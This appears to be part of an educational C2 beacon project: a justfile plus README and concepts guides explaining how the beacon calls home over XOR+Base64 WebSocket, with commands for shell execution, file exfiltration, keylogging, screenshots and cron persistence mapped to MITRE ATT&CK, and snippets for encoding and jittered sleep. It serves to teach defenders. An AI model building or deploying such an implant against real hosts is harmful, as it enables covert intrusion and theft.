||||
# =============================================================================
|
||||
|
||||
[group('dev')]
|
||||
dev-up *ARGS:
|
||||
docker compose -f dev.compose.yml up {{ARGS}}
|
||||
|
||||
[group('dev')]
|
||||
dev-start *ARGS:
|
||||
docker compose -f dev.compose.yml up -d {{ARGS}}
|
||||
|
||||
[group('dev')]
|
||||
dev-down *ARGS:
|
||||
docker compose -f dev.compose.yml down {{ARGS}}
|
||||
|
||||
[group('dev')]
|
||||
dev-stop:
|
||||
docker compose -f dev.compose.yml stop
|
||||
|
||||
[group('dev')]
|
||||
dev-build *ARGS:
|
||||
docker compose -f dev.compose.yml build {{ARGS}}
|
||||
|
||||
[group('dev')]
|
||||
dev-rebuild:
|
||||
docker compose -f dev.compose.yml build --no-cache
|
||||
|
||||
[group('dev')]
|
||||
dev-logs *SERVICE:
|
||||
docker compose -f dev.compose.yml logs -f {{SERVICE}}
|
||||
|
||||
[group('dev')]
|
||||
dev-ps:
|
||||
docker compose -f dev.compose.yml ps
|
||||
|
||||
[group('dev')]
|
||||
dev-shell service='backend':
|
||||
docker compose -f dev.compose.yml exec -it {{service}} /bin/bash
|
||||
|
||||
# =============================================================================
|
||||
# Beacon
|
||||
# =============================================================================
|
||||
|
||||
[group('beacon')]
|
||||
beacon *ARGS:
|
||||
cd beacon && C2_SERVER_URL="ws://localhost:${NGINX_HOST_PORT}/api/ws/beacon" C2_XOR_KEY="${XOR_KEY}" uv run python beacon.py {{ARGS}}
|
||||
|
||||
# =============================================================================
|
||||
# Utilities
|
||||
# =============================================================================
|
||||
|
||||
[group('util')]
|
||||
info:
|
||||
@echo "Project: {{project}}"
|
||||
@echo "Version: {{version}}"
|
||||
@echo "OS: {{os()}} ({{arch()}})"
|
||||
|
||||
[group('util')]
|
||||
clean:
|
||||
-rm -rf backend/.mypy_cache
|
||||
-rm -rf backend/.pytest_cache
|
||||
-rm -rf backend/.ruff_cache
|
||||
-rm -rf backend/htmlcov
|
||||
-rm -rf backend/.coverage
|
||||
@echo "Cache directories cleaned"
|
||||
|
|
@ -0,0 +1,157 @@
|
|||
<!-- © AngelaMos | 2026 | 00-OVERVIEW.md -->
|
||||
|
||||
# C2 Beacon / Server
|
||||
|
||||
## What This Is
|
||||
|
||||
This is an educational Command and Control (C2) beacon and server built to demonstrate how real C2 frameworks like Cobalt Strike, Sliver, and Mythic operate under the hood. The beacon implant connects to the server over WebSocket, with traffic encoded using XOR and Base64. There are 10 commands mapped to MITRE ATT&CK techniques, a task queueing system, and a real-time operator dashboard where you can select beacons and issue commands through a terminal-style UI.
|
||||
|
||||
## Why This Matters
|
||||
|
||||
Cobalt Strike is referenced in nearly 70% of incident response engagements. It is, by a wide margin, the most commonly encountered C2 framework in real breaches. When defenders find Cobalt Strike beacons on a network, they need to understand how the beacon communicates, how tasks are queued, and how the operator controls the implant. Without that understanding, incident response is mostly guesswork.
|
||||
|
||||
The SolarWinds SUNBURST attack in 2020 used a custom C2 protocol tunneled over HTTP, with the implant disguised as a legitimate Orion software update. The beacon would collect system info, sleep for up to two weeks before making its first callback, and then receive tasking through DNS and HTTP responses crafted to look like normal telemetry. The sophistication was in the protocol design, not in the exploit itself.
|
||||
|
||||
APT29 (Cozy Bear) has been documented using custom C2 implants with jittered sleep intervals, domain fronting, and encrypted channels that blend into normal HTTPS traffic. The jitter makes network-based detection harder because the callback pattern looks irregular rather than mechanical. This project implements jittered sleep for the same reason, so you can see exactly how that technique works and why a fixed-interval beacon is trivial to fingerprint.
|
||||
|
||||
If you work on a blue team, in incident response, or in threat intelligence, understanding C2 architecture is foundational. You cannot write detection rules for something you do not understand. Building one from scratch, even a simplified educational version, gives you a mental model that reading reports alone does not.
|
||||
|
||||
## What You'll Learn
|
||||
|
||||
**Security Concepts:** C2 architecture and the beacon/server model. MITRE ATT&CK technique mapping (T1059 Command Execution, T1082 System Discovery, T1057 Process Discovery, T1105 Ingress Tool Transfer, T1113 Screen Capture, T1056 Input Capture, T1053 Persistence, T1029 Scheduled Transfer). Protocol encoding with XOR and Base64. Persistence techniques via cron. Detection strategies and how defenders spot C2 traffic.
|
||||
|
||||
**Technical Skills:** WebSocket programming on both sides of the connection. Async Python with asyncio, including subprocess execution and concurrent task handling. React with real time UI updates, Zustand state management, and Zod schema validation. Docker Compose orchestration with Nginx reverse proxy, health checks, and multi-service networking.
|
||||
|
||||
**Tools:** FastAPI for the server, aiosqlite for the database, psutil for system enumeration, websockets for the beacon transport layer, Vite for the frontend build, Zod for runtime type validation, and Pydantic for backend data modeling.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
### Required
|
||||
|
||||
- Python 3.13+
|
||||
- Node.js 22+
|
||||
- Docker and Docker Compose
|
||||
- Basic understanding of networking, HTTP, and how client-server communication works
|
||||
|
||||
### Required Tools
|
||||
|
||||
- **uv** for Python package management (never pip). Install: `curl -LsSf https://astral.sh/uv/install.sh | sh`
|
||||
- **pnpm** for Node package management (never npm). Install: `corepack enable && corepack prepare pnpm@latest --activate`
|
||||
- **just** as a command runner. Install: `cargo install just` or `brew install just`
|
||||
- **Docker Compose** (comes with Docker Desktop, or install the plugin separately)
|
||||
|
||||
### Helpful But Not Required
|
||||
|
||||
- Familiarity with WebSockets and the connect/send/receive/close lifecycle
|
||||
- Experience with async/await in Python or JavaScript
|
||||
- Prior exposure to React (the dashboard is straightforward, but React knowledge helps)
|
||||
|
||||
## Quick Start
|
||||
|
||||
```bash
|
||||
git clone https://github.com/CarterPerez-dev/Cybersecurity-Projects.git
|
||||
cd PROJECTS/beginner/c2-beacon
|
||||
docker compose -f dev.compose.yml up -d
|
||||
```
|
||||
|
||||
Visit http://localhost:47430 in your browser. You should see the operator dashboard with an empty beacon table.
|
||||
|
||||
In a second terminal, start a beacon:
|
||||
|
||||
```bash
|
||||
cd PROJECTS/beginner/c2-beacon
|
||||
just beacon
|
||||
```
|
||||
|
||||
You should see output like this from the beacon:
|
||||
|
||||
```
|
||||
2026-02-14 10:32:01 INFO: Connecting to ws://localhost:47430/api/ws/beacon
|
||||
2026-02-14 10:32:01 INFO: Registered as 3a7f1c29-8b42-4e91-a6d3-9f0e5c8d2b17
|
||||
```
|
||||
|
||||
Back in the browser, the beacon appears in the dashboard table with its hostname, OS, username, and IP. Click the row to open a session. Type `shell whoami` in the terminal input and press Enter. The command is sent to the beacon, executed, and the output appears in the terminal UI.
|
||||
|
||||
Try a few more:
|
||||
|
||||
```
|
||||
sysinfo
|
||||
proclist
|
||||
shell ls -la /tmp
|
||||
```
|
||||
|
||||
Each command goes through the full pipeline: operator dashboard sends JSON over WebSocket to the server, server queues a task and forwards it (XOR+Base64 encoded) to the beacon, beacon executes the command, encodes the result, sends it back, and the server broadcasts it to the operator dashboard.
|
||||
|
||||
## Project Structure
|
||||
|
||||
```
|
||||
c2-beacon/
|
||||
├── backend/
|
||||
│ └── app/
|
||||
│ ├── core/
|
||||
│ │ ├── encoding.py XOR + Base64 encode/decode functions
|
||||
│ │ ├── models.py Pydantic models: BeaconRecord, TaskRecord, TaskResult
|
||||
│ │ └── protocol.py Message envelope: pack/unpack with type validation
|
||||
│ ├── beacon/
|
||||
│ │ ├── registry.py In-memory beacon registry with aiosqlite persistence
|
||||
│ │ ├── router.py WebSocket endpoint for beacon connections
|
||||
│ │ └── tasking.py Task queue: create, assign, complete, retrieve
|
||||
│ ├── ops/
|
||||
│ │ ├── manager.py Operator WebSocket connection manager + broadcasting
|
||||
│ │ └── router.py Operator WebSocket + REST endpoints
|
||||
│ ├── config.py Pydantic Settings: XOR key, ports, CORS, DB path
|
||||
│ └── database.py aiosqlite setup with table creation
|
||||
├── beacon/
|
||||
│ └── beacon.py The implant (~514 lines, single file, 10 command handlers)
|
||||
├── frontend/
|
||||
│ └── src/
|
||||
│ ├── core/
|
||||
│ │ ├── ws.ts Zustand store + useOperatorSocket hook
|
||||
│ │ └── types.ts Zod schemas for all WebSocket message types
|
||||
│ └── pages/
|
||||
│ ├── dashboard/ Beacon table with real-time status updates
|
||||
│ └── session/ Terminal UI with command input and result display
|
||||
├── infra/
|
||||
│ ├── docker/ Dockerfiles for dev (hot reload) and prod
|
||||
│ └── nginx/ Reverse proxy configs (WebSocket proxying)
|
||||
├── dev.compose.yml 3-service dev stack: nginx, backend, frontend
|
||||
├── compose.yml Production compose
|
||||
├── justfile Command runner: just beacon, just dev-up, etc.
|
||||
└── learn/ You are here
|
||||
```
|
||||
|
||||
## How It Works (Brief)
|
||||
|
||||
```
|
||||
┌──────────┐ WebSocket ┌──────────┐ WebSocket ┌──────────┐
|
||||
│ Beacon │ ──XOR+Base64──> │ Server │ <──JSON──────── │ Operator │
|
||||
│ (target) │ <──XOR+Base64── │ (FastAPI)│ ──JSON────────> │ (React) │
|
||||
└──────────┘ └──────────┘ └──────────┘
|
||||
```
|
||||
|
||||
The beacon implant (`beacon/beacon.py`) connects to the server via WebSocket at `/ws/beacon`. On connect, it sends a REGISTER message containing system info: hostname, OS, username, PID, internal IP, and architecture. The server stores this in the beacon registry (in-memory dict backed by aiosqlite) and broadcasts a `beacon_connected` event to all connected operators.
|
||||
|
||||
The beacon then enters a loop. It sends periodic HEARTBEAT messages with jittered timing (base interval + random jitter percentage), which keeps the connection alive and updates the "last seen" timestamp on the server. Between heartbeats, it waits for TASK messages from the server.
|
||||
|
||||
On the operator side, the React dashboard connects via a separate WebSocket at `/ws/operator`. When you type a command in the session terminal, the frontend sends a JSON message to the server. The server creates a TaskRecord, queues it, and forwards the task to the target beacon as an XOR+Base64 encoded TASK message.
|
||||
|
||||
The beacon receives the task, dispatches it to the appropriate handler (shell, sysinfo, proclist, etc.), and sends back a RESULT message with the output. The server stores the result, marks the task as completed, and broadcasts it to the operator dashboard, which renders it in the terminal UI.
|
||||
|
||||
Two separate WebSocket channels keep concerns separated. The beacon channel uses XOR+Base64 encoding (simulating encrypted C2 comms). The operator channel uses plain JSON (trusted internal communication).
|
||||
|
||||
## Next Steps
|
||||
|
||||
- [01 - Concepts](01-CONCEPTS.md): C2 theory, MITRE ATT&CK mapping for each command, and how defenders detect beacons
|
||||
- [02 - Architecture](02-ARCHITECTURE.md): Protocol design, data flow, encoding decisions, and why things are built this way
|
||||
- [03 - Implementation](03-IMPLEMENTATION.md): Code walkthrough of every component, from the beacon implant to the React dashboard
|
||||
- [04 - Challenges](04-CHALLENGES.md): Extensions and harder exercises (AES encryption, DNS tunneling, evasion techniques)
|
||||
|
||||
## Common Issues
|
||||
|
||||
**"WebSocket closed before established" in browser console:** This is React StrictMode doing a double-mount in development. The first WebSocket connects and immediately disconnects, then the second one connects and stays. Harmless. You will see it every time you reload the page in dev mode.
|
||||
|
||||
**Beacon cannot connect to the server:** Make sure the Docker containers are actually running. Run `just dev-ps` to check. The beacon connects through Nginx on port 47430, so all three services (nginx, backend, frontend) need to be healthy. If the backend shows as unhealthy, check its logs with `just dev-logs backend`.
|
||||
|
||||
**"No beacons connected" on the dashboard:** You need to run the beacon implant separately. It does not start automatically with Docker. Open a second terminal and run `just beacon`. The beacon should register within a few seconds and appear in the dashboard table.
|
||||
|
||||
**Commands return empty output:** Some commands require specific conditions. `screenshot` needs a display server (will fail in headless environments or Docker containers). `keylog_start` needs pynput, which requires an X11 or Wayland session. `persist` only works on Linux. The `shell` command works everywhere.
|
||||
|
|
@ -0,0 +1,521 @@
|
|||
<!-- © AngelaMos | 2026 | 01-CONCEPTS.md -->
|
||||
|
||||
# C2 Beacon Concepts
|
||||
|
||||
This document covers the core ideas behind Command and Control (C2) infrastructure, how our project implements them, and how they map to real-world offensive and defensive security. Read time is roughly 15-20 minutes. By the end you should understand why C2 works the way it does, what each command in our beacon does from a MITRE ATT&CK perspective, and how defenders catch exactly this kind of traffic.
|
||||
|
||||
---
|
||||
|
||||
## Command and Control (C2) Architecture
|
||||
|
||||
### What It Is
|
||||
|
||||
Picture this scenario. An attacker has already gotten into a corporate network, maybe through a phishing email, maybe through an unpatched VPN appliance. They have code running on a target machine. Now what? They need a way to tell that code what to do, and they need to get results back.
|
||||
|
||||
That is what C2 solves. Command and Control is the communication channel between an attacker and compromised systems. The attacker runs a **server** (sometimes called a team server or listener) on infrastructure they control. The compromised machine runs an **implant** (also called a beacon, agent, or payload) that reaches out to that server, asks for instructions, executes them, and sends results back.
|
||||
|
||||
In concrete terms:
|
||||
|
||||
1. The attacker compromises a machine and deploys a beacon binary or script.
|
||||
2. The beacon initiates an outbound connection to the C2 server.
|
||||
3. The server queues commands for the beacon (run this shell command, grab that file, take a screenshot).
|
||||
4. The beacon picks up queued commands, executes them locally, and sends results back over the same channel.
|
||||
5. The operator sees results in a dashboard or terminal.
|
||||
|
||||
This phase of an intrusion, the C2 phase, is one of the most critical. Without it, an attacker has a one-shot exploit. With it, they have persistent, interactive access to the target. The Lockheed Martin Cyber Kill Chain places C2 as step 6 of 7. MITRE ATT&CK dedicates an entire tactic category to it (TA0011). Every major breach you have read about, from SolarWinds (SUNBURST) to the Colonial Pipeline ransomware incident, involved sustained C2 communications.
|
||||
|
||||
### The Beacon/Server Model
|
||||
|
||||
A natural question: why does the beacon call out to the server? Why not have the server connect inbound to the target?
|
||||
|
||||
The answer is firewalls and NAT. Corporate networks almost universally block unsolicited inbound connections. Workstations sit behind NAT gateways without public IP addresses. A server trying to connect to port 4444 on an internal workstation would be dropped at the perimeter immediately.
|
||||
|
||||
But outbound traffic? That flows freely in most environments. Employees browse the web, call APIs, stream video. A beacon making HTTPS requests to what looks like a legitimate domain blends right into that traffic. From the firewall's perspective, the beacon's outbound WebSocket connection looks similar to any other web application traffic.
|
||||
|
||||
Cobalt Strike, the most widely used commercial red team C2 framework, popularized this model with its "beacon" concept. A Cobalt Strike beacon sleeps for a configured interval (default 60 seconds), wakes up, contacts the team server over HTTP/HTTPS, downloads any queued commands, executes them, and posts results back. The name "beacon" comes from this periodic check-in pattern, like a lighthouse blinking at regular intervals.
|
||||
|
||||
Our project follows this same model. The beacon (`beacon/beacon.py`) initiates a WebSocket connection to the server (`backend/app/beacon/router.py`). The server never tries to reach the beacon. The beacon always calls home.
|
||||
|
||||
### Why Attackers Use C2
|
||||
|
||||
Five core reasons:
|
||||
|
||||
**Persistent access after initial compromise.** The initial exploit might be a one-time event, a phishing link clicked, a vulnerability triggered. C2 gives the attacker a durable channel that survives the initial vector being patched or discovered. Combined with persistence mechanisms (cron jobs, registry keys, scheduled tasks), the beacon comes back even after reboots.
|
||||
|
||||
**Command execution without interactive sessions.** An attacker does not need to maintain an open SSH or RDP session. The beacon operates asynchronously. The operator queues a command, walks away, and checks results hours later. This is especially useful in long-duration operations where constant interaction would be suspicious.
|
||||
|
||||
**Exfiltration of data through the C2 channel.** Stolen data leaves the network through the same encrypted channel the commands arrive on. No separate FTP server, no suspicious cloud uploads. The data rides out inside the C2 protocol, often chunked and encoded to avoid detection.
|
||||
|
||||
**Lateral movement coordination.** Once inside a network, attackers pivot from machine to machine. A single C2 server can manage dozens or hundreds of beacons across a compromised environment, coordinating actions like credential harvesting on one machine, lateral movement to another, and data staging on a third.
|
||||
|
||||
**Maintaining stealth through encrypted channels.** C2 traffic is typically encrypted (TLS, mTLS, or custom encryption). Even if a defender captures the packets, they see encrypted blobs. Combine this with domain fronting or legitimate cloud infrastructure and the traffic becomes very difficult to distinguish from normal business operations.
|
||||
|
||||
### Real World C2 Frameworks
|
||||
|
||||
Here is how our project sits alongside the frameworks used in actual operations:
|
||||
|
||||
| Framework | Language | Protocol | Notable Use |
|
||||
|-----------|----------|----------|-------------|
|
||||
| Cobalt Strike | Java | HTTP/HTTPS/DNS | Most common in APT campaigns. Used by both red teams and threat actors like APT29, FIN7, and Conti ransomware operators. |
|
||||
| Sliver | Go | mTLS/HTTP/DNS/WireGuard | Open source alternative to Cobalt Strike. Gained adoption after Cobalt Strike cracks became heavily signatured. |
|
||||
| Mythic | Python/Go | HTTP/WebSocket | Modular framework with community-contributed agents. Each agent is its own project with its own capabilities. |
|
||||
| Brute Ratel | C++ | HTTP/DNS | Designed specifically to evade EDR products. Gained attention in 2022 when cracked copies appeared in the wild. |
|
||||
| Our Project | Python | WebSocket | Educational. Demonstrates the architecture pattern without operational security features. |
|
||||
|
||||
The important thing to notice: every one of these frameworks implements the same core pattern. Server listens, beacon calls home, commands flow down, results flow up. The differences are in protocol sophistication, evasion capabilities, and operational security. Our project strips away the evasion complexity so you can focus on understanding the architecture itself.
|
||||
|
||||
---
|
||||
|
||||
## MITRE ATT&CK Mapping
|
||||
|
||||
### What Is MITRE ATT&CK?
|
||||
|
||||
MITRE ATT&CK is a knowledge base of adversary tactics and techniques based on real-world observations. Think of it as a taxonomy of everything attackers do, organized into categories like Initial Access, Execution, Persistence, Discovery, Collection, Exfiltration, and Command and Control.
|
||||
|
||||
Every technique gets an ID (like T1059 for Command and Scripting Interpreter). Security teams use these IDs to classify incidents, measure detection coverage, and communicate about threats in a shared language. When a SOC analyst writes "we observed T1059.001 execution," every other analyst knows they mean PowerShell was used to run commands.
|
||||
|
||||
The framework lives at [https://attack.mitre.org/](https://attack.mitre.org/) and is updated regularly as new techniques are observed in the wild.
|
||||
|
||||
Our beacon implements 10 commands. Each one maps to a specific ATT&CK technique. Here is the full mapping:
|
||||
|
||||
### Command-to-Technique Table
|
||||
|
||||
| Command | Technique ID | Tactic | Technique Name |
|
||||
|---------|-------------|--------|----------------|
|
||||
| `shell` | T1059 | Execution | Command and Scripting Interpreter |
|
||||
| `sysinfo` | T1082 | Discovery | System Information Discovery |
|
||||
| `proclist` | T1057 | Discovery | Process Discovery |
|
||||
| `upload` | T1105 | Command and Control | Ingress Tool Transfer |
|
||||
| `download` | T1041 | Exfiltration | Exfiltration Over C2 Channel |
|
||||
| `screenshot` | T1113 | Collection | Screen Capture |
|
||||
| `keylog_start` | T1056.001 | Collection | Input Capture: Keylogging |
|
||||
| `keylog_stop` | T1056.001 | Collection | Input Capture: Keylogging |
|
||||
| `persist` | T1053.003 | Persistence | Scheduled Task/Job: Cron |
|
||||
| `sleep` | T1029 | Command and Control | Scheduled Transfer |
|
||||
|
||||
### Detailed Breakdown
|
||||
|
||||
**shell (T1059 - Command and Scripting Interpreter)**
|
||||
|
||||
This is the most fundamental C2 capability. The beacon receives a string, passes it to `asyncio.create_subprocess_shell()`, captures stdout and stderr, and sends both back. In our codebase, `handle_shell` in `beacon/beacon.py` does exactly this. In real attacks, T1059 is present in nearly every intrusion. The SolarWinds SUNBURST implant used `cmd.exe` for command execution. The technique has sub-techniques for specific interpreters: T1059.001 (PowerShell), T1059.003 (Windows Command Shell), T1059.004 (Unix Shell). Our beacon uses the system default shell on whatever OS it runs on.
|
||||
|
||||
**sysinfo (T1082 - System Information Discovery)**
|
||||
|
||||
After landing on a machine, attackers need to understand what they are working with. Our `handle_sysinfo` collects hostname, OS version, architecture, CPU count, memory totals, disk partitions, and network interfaces using the `psutil` library. This is reconnaissance. APT groups routinely run `systeminfo`, `uname -a`, or equivalent commands as one of their first actions. During the 2020 SolarWinds campaign, SUNBURST collected OS version, domain name, and installed security products before the operators decided whether a target was worth pursuing.
|
||||
|
||||
**proclist (T1057 - Process Discovery)**
|
||||
|
||||
Enumerating running processes tells an attacker several things: what security tools are running (is there an EDR agent? an antivirus?), what user context processes run under, and what services are active. Our `handle_proclist` iterates `psutil.process_iter()` and returns PIDs, names, and usernames for up to 100 processes. In real operations, process listings help attackers decide which processes to inject into, which security tools to evade, and which services to target for credential theft.
|
||||
|
||||
**upload (T1105 - Ingress Tool Transfer)**
|
||||
|
||||
Uploading files to a compromised host is how attackers stage additional tools. Our `handle_upload` receives a JSON object containing a filename and base64-encoded content, then writes it to `/tmp/`. In the real world, attackers upload privilege escalation exploits, lateral movement tools like Mimikatz, additional implants, or tunnel utilities. The T1105 technique is present whenever you see an attacker pushing a binary to a compromised system through the C2 channel rather than having the target download it from the internet.
|
||||
|
||||
**download (T1041 - Exfiltration Over C2 Channel)**
|
||||
|
||||
This is the data theft capability. Our `handle_download` reads a file from disk, base64-encodes it, and sends it back through the WebSocket. The key detail here: the stolen data exits through the same channel the commands arrive on. Defenders looking for exfiltration via unusual protocols or cloud storage uploads would miss this because the data is embedded in C2 traffic. The DarkSide ransomware group (responsible for the Colonial Pipeline attack) used their C2 channel to exfiltrate gigabytes of corporate data before deploying the ransomware payload.
|
||||
|
||||
**screenshot (T1113 - Screen Capture)**
|
||||
|
||||
Taking screenshots lets attackers see what a user is doing in real time. Our `handle_screenshot` uses the `mss` library to grab the full screen, converts it to PNG, and base64-encodes the result. This technique is common in espionage operations. APT28 (Fancy Bear) used screenshot capabilities in their X-Agent implant to monitor targets. It is also used in financial crime to capture banking sessions and credential entry.
|
||||
|
||||
**keylog_start / keylog_stop (T1056.001 - Input Capture: Keylogging)**
|
||||
|
||||
Keylogging captures everything a user types: passwords, messages, search queries, internal URLs. Our beacon uses `pynput` to hook keyboard events in a background thread. `handle_keylog_start` begins capture, `handle_keylog_stop` terminates the listener and returns all captured keystrokes. Keyloggers are among the oldest offensive tools. The difference between a standalone keylogger and what we have here is that ours is integrated into the C2 framework, so captured keystrokes are exfiltrated automatically through the beacon's existing channel rather than requiring a separate retrieval mechanism.
|
||||
|
||||
**persist (T1053.003 - Scheduled Task/Job: Cron)**
|
||||
|
||||
Persistence is how an attacker survives reboots. Without it, the beacon dies when the machine restarts and the attacker loses access. Our `handle_persist` writes a `@reboot` cron entry that re-launches the beacon on system startup. The function checks the current crontab, verifies the entry does not already exist, and appends it. This is a Linux-specific technique. The technique ID T1053.003 specifically covers cron-based persistence. In real operations, APT groups like TeamTNT have used cron persistence extensively in their cryptocurrency mining campaigns targeting Linux servers.
|
||||
|
||||
**sleep (T1029 - Scheduled Transfer)**
|
||||
|
||||
Adjusting the sleep interval is an operational security control. Our `handle_sleep` lets the operator modify `sleep_interval` and `jitter_percent` on the fly. During an initial compromise, an attacker might use a short sleep (1-5 seconds) for rapid interaction. Once they have established access and want to avoid detection, they increase it to minutes or hours. Cobalt Strike operators routinely set sleep intervals to 300-900 seconds with 30-50% jitter during long-term operations. The T1029 mapping reflects that the beacon transfers data on a schedule rather than in real time, which is a defining characteristic of C2 beaconing.
|
||||
|
||||
---
|
||||
|
||||
## Protocol Encoding
|
||||
|
||||
### XOR Cipher
|
||||
|
||||
XOR (exclusive or) is the simplest reversible binary operation. Given two bits, XOR returns 1 if they differ and 0 if they match:
|
||||
|
||||
```
|
||||
0 XOR 0 = 0
|
||||
0 XOR 1 = 1
|
||||
1 XOR 0 = 1
|
||||
1 XOR 1 = 0
|
||||
```
|
||||
|
||||
The property that makes XOR useful for encoding: applying the same key twice returns the original data.
|
||||
|
||||
```
|
||||
data XOR key = encoded
|
||||
encoded XOR key = data
|
||||
```
|
||||
|
||||
Here is the concrete math with a single byte. Say the data byte is `0x48` (the letter "H") and the key byte is `0x63` (the letter "c"):
|
||||
|
||||
```
|
||||
0x48 = 01001000
|
||||
0x63 = 01100011
|
||||
XOR = 00101011 = 0x2B
|
||||
```
|
||||
|
||||
Apply the key again:
|
||||
|
||||
```
|
||||
0x2B = 00101011
|
||||
0x63 = 01100011
|
||||
XOR = 01001000 = 0x48 = "H"
|
||||
```
|
||||
|
||||
Our project implements this in `backend/app/core/encoding.py`:
|
||||
|
||||
```python
|
||||
def xor_bytes(data: bytes, key: bytes) -> bytes:
|
||||
return bytes(b ^ key[i % len(key)] for i, b in enumerate(data))
|
||||
```
|
||||
|
||||
The `i % len(key)` part is critical. It makes the key repeat. If the key is "abc" (3 bytes) and the data is 10 bytes long, the key cycles: a,b,c,a,b,c,a,b,c,a. Each data byte gets XORed with the corresponding key byte at that position.
|
||||
|
||||
**Why XOR alone is weak.** Two major problems:
|
||||
|
||||
First, **known plaintext attacks**. If an attacker knows (or can guess) any part of the plaintext, they can recover the key. Since our protocol sends JSON messages that always start with `{"type":`, an attacker who captures the encoded output can XOR the known plaintext against the ciphertext to extract the key. Once they have the key, they can decode everything.
|
||||
|
||||
Second, **frequency analysis**. With a short, repeating key, statistical patterns in the plaintext leak through. The letter "e" appears roughly 13% of the time in English text. If the key repeats every 32 bytes, you can split the ciphertext into 32 streams and do frequency analysis on each one independently. This is the classic Vigenere cipher weakness, and XOR with a repeating key is essentially Vigenere operating on bits instead of letters.
|
||||
|
||||
### Why XOR + Base64
|
||||
|
||||
Our encoding pipeline uses both XOR and Base64 for different reasons:
|
||||
|
||||
- **XOR provides basic obfuscation.** It is not real encryption. It will not stop a determined analyst. But it means the protocol messages are not sitting on the wire as readable JSON. A casual observer or basic string-matching IDS rule will not immediately see `{"type":"TASK","payload":{"command":"shell"}}` in the traffic.
|
||||
|
||||
- **Base64 makes binary safe for text transport.** After XOR, the data is arbitrary bytes, including null bytes and other values that break text protocols. Base64 converts those bytes into a safe ASCII alphabet (A-Z, a-z, 0-9, +, /). This matters because WebSocket text frames expect valid text data. Without Base64, we would need to use binary WebSocket frames, which is a valid approach but adds complexity we do not need in a beginner project.
|
||||
|
||||
- **Real C2 frameworks use actual encryption.** Cobalt Strike uses AES-256 in CBC mode. Sliver uses mutual TLS (mTLS) where both the server and beacon authenticate with certificates. Brute Ratel uses a combination of RC4 and AES. We use XOR because the goal of this project is to teach the architectural pattern, not to build something operationally secure. Understanding XOR encoding helps you understand what real encryption is doing at a conceptual level without the complexity of key exchange, initialization vectors, and cipher modes.
|
||||
|
||||
### The Encoding Pipeline
|
||||
|
||||
Here is the full path a message takes from plaintext to wire format and back:
|
||||
|
||||
**Encoding (beacon to server, or server to beacon):**
|
||||
|
||||
```
|
||||
Plaintext JSON --> UTF-8 bytes --> XOR with key --> Base64 --> WebSocket text frame
|
||||
```
|
||||
|
||||
Step by step with a real example. Say the message is `{"type":"HEARTBEAT","payload":{"id":"abc-123"}}` and the key is `c2-beacon-default-key-change-me`:
|
||||
|
||||
1. The JSON string becomes UTF-8 bytes: `7b 22 74 79 70 65 ...`
|
||||
2. Each byte gets XORed with the repeating key bytes: `7b^63, 22^32, 74^2d, 79^62, ...`
|
||||
3. The resulting binary blob gets Base64 encoded into a printable ASCII string.
|
||||
4. That string is sent as a WebSocket text frame.
|
||||
|
||||
**Decoding (receiving side):**
|
||||
|
||||
```
|
||||
WebSocket text frame --> Base64 decode --> XOR with key --> UTF-8 string --> JSON parse
|
||||
```
|
||||
|
||||
You can see both directions implemented in `backend/app/core/encoding.py`:
|
||||
|
||||
```python
|
||||
def encode(payload: str, key: str) -> str:
|
||||
raw = payload.encode("utf-8")
|
||||
xored = xor_bytes(raw, key.encode("utf-8"))
|
||||
return base64.b64encode(xored).decode("ascii")
|
||||
|
||||
|
||||
def decode(encoded: str, key: str) -> str:
|
||||
xored = base64.b64decode(encoded)
|
||||
raw = xor_bytes(xored, key.encode("utf-8"))
|
||||
return raw.decode("utf-8")
|
||||
```
|
||||
|
||||
The protocol layer (`backend/app/core/protocol.py`) wraps these functions with Pydantic validation. The `pack` function serializes a `Message` object to JSON, then encodes it. The `unpack` function decodes, parses, and validates in one step. If any step fails (bad Base64, XOR produces invalid UTF-8, JSON is malformed, Pydantic validation fails), `unpack` raises a `ValueError`.
|
||||
|
||||
---
|
||||
|
||||
## Beacon Behavior Patterns
|
||||
|
||||
### Sleep and Jitter
|
||||
|
||||
A beacon that calls home every second, on the second, is trivially detectable. Network monitoring tools can identify periodic connections with high confidence. If a host makes an HTTPS request to the same domain at exactly 1-second intervals for hours on end, that is a massive red flag.
|
||||
|
||||
Sleep intervals solve part of this problem. Instead of constant communication, the beacon waits between check-ins. Our project defaults to a 3-second sleep interval, which is aggressive for a real operation but good for interactive demos.
|
||||
|
||||
Jitter solves the rest. Jitter adds randomness to the sleep interval. Our beacon uses 30% jitter by default:
|
||||
|
||||
```python
|
||||
def jittered_sleep() -> float:
|
||||
jitter = config.sleep_interval * config.jitter_percent
|
||||
return config.sleep_interval + random.uniform(-jitter, jitter)
|
||||
```
|
||||
|
||||
With a 3-second interval and 30% jitter, the actual sleep time ranges from 2.1 seconds to 3.9 seconds. Each cycle is different. The timing pattern looks irregular rather than metronome-like.
|
||||
|
||||
For reference, Cobalt Strike defaults to a 60-second sleep interval with 0% jitter. That 0% default is considered poor operational security, and experienced operators immediately change it. Common real-world settings are 300 seconds (5 minutes) with 30-50% jitter for long-term operations. During active engagement where the operator needs quick responses, they might use 5-10 seconds with 10-20% jitter.
|
||||
|
||||
The trade-off is responsiveness versus stealth. A short sleep means the operator gets results quickly. A long sleep with high jitter makes the beacon harder to detect but means you might wait 10 minutes for a command to execute.
|
||||
|
||||
### Heartbeats
|
||||
|
||||
The server needs to know which beacons are still alive. If a beacon goes silent, is it because the host was shut down? Did the network path change? Was the beacon detected and killed by an EDR?
|
||||
|
||||
Our beacon sends periodic heartbeat messages during the sleep loop:
|
||||
|
||||
```python
|
||||
async def heartbeat_loop(ws: Any) -> None:
|
||||
while True:
|
||||
try:
|
||||
msg = pack("HEARTBEAT", {"id": config.beacon_id})
|
||||
await ws.send(msg)
|
||||
await asyncio.sleep(jittered_sleep())
|
||||
except Exception:
|
||||
break
|
||||
```
|
||||
|
||||
Each heartbeat updates the `last_seen` timestamp in the server's database (via `registry.update_last_seen` in `backend/app/beacon/registry.py`). The dashboard displays this timestamp so the operator can see at a glance which beacons are actively checking in versus which have gone dark.
|
||||
|
||||
In production C2 frameworks, the heartbeat is often implicit rather than explicit. The act of checking in for tasks serves as the heartbeat. Our project uses explicit heartbeat messages because WebSocket connections are persistent, and we need a mechanism to keep the connection alive and update timestamps even when no tasks are queued.
|
||||
|
||||
### Reconnection Strategy
|
||||
|
||||
Networks are unreliable. Servers restart. Firewalls reset connections. The beacon needs to handle all of this gracefully.
|
||||
|
||||
Our beacon implements exponential backoff:
|
||||
|
||||
```
|
||||
Attempt 1: wait 2 seconds
|
||||
